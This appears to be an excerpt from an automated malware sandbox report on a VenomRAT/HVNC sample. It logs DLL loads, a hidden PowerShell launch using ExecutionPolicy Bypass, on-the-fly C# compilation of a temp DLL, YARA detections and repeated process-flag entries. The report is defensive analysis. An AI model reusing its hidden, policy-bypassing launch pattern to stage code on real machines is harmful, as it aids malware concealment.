Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mmdevapi.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb\| source: powershell.exe, 00000004.00000002.2214407011.0000023AE6B0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powe..ll.PSReadline.pdbY source: powershell.exe, 00000004.00000002.2214407011.0000023AE6B01000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.pdbhP source: powershell.exe, 00000004.00000002.2166864949.0000023AD0505000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dlle.PDB source: powershell.exe, 00000004.00000002.2214407011.0000023AE6AF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdb37-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000004.00000002.2214407011.0000023AE6B0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ll.PSReadline.pdb source: powershell.exe, 00000004.00000002.2214407011.0000023AE6B01000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.pdb source: powershell.exe, 00000004.00000002.2166864949.0000023AD0505000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348DB500 push ebx; retf	4_2_00007FFD348DB51A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348B00BD pushad ; iretd	4_2_00007FFD348B00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD348B8167 push ebx; ret	4_2_00007FFD348B816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD34984CD9 push ebx; ret	4_2_00007FFD34984CDA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD349815A2 push E85F9276h; ret	4_2_00007FFD349815A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_011E02F5 push ebx; ret	11_2_011E0303
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06864571 push es; ret	11_2_06864580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06861E30 push es; ret	11_2_06861E40

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.dll

Jump to dropped file

Boot Survival

Yara detected VenomRAT

Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
